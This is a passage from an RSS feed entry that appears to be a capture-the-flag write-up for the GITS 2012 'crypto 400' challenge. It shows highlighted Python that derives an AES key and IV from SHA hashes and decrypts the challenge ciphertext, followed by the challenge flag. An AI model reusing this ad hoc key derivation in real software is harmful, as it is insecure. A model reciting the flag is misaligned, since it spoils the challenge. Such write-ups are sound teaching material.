calcIv= hashlib.<span style="color: black;">sha256</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
calcIv.<span style="color: black;">update</span><span style="color: black;">&#40;</span><span style="color: #008000;">hex</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
calcKey= hashlib.<span style="color: black;">sha512</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
calcKey.<span style="color: black;">update</span><span style="color: black;">&#40;</span><span style="color: #008000;">hex</span><span style="color: black;">&#40;</span>key<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
enc=AES.<span style="color: #dc143c;">new</span><span style="color: black;">&#40;</span>calcKey.<span style="color: black;">digest</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span>:<span style="color: #ff4500;">32</span><span style="color: black;">&#93;</span>,<span style="color: #ff4500;">2</span>,calcIv.<span style="color: black;">digest</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#91;</span>:<span style="color: #ff4500;">16</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
<span style="color: #ff7700;font-weight:bold;">print</span> enc.<span style="color: black;">decrypt</span><span style="color: black;">&#40;</span>cipher<span style="color: black;">&#41;</span></pre></div></div>

<p>The flag: <strong>__It&#8217;s Better left unread__</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/gits-2012-crypto-400/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

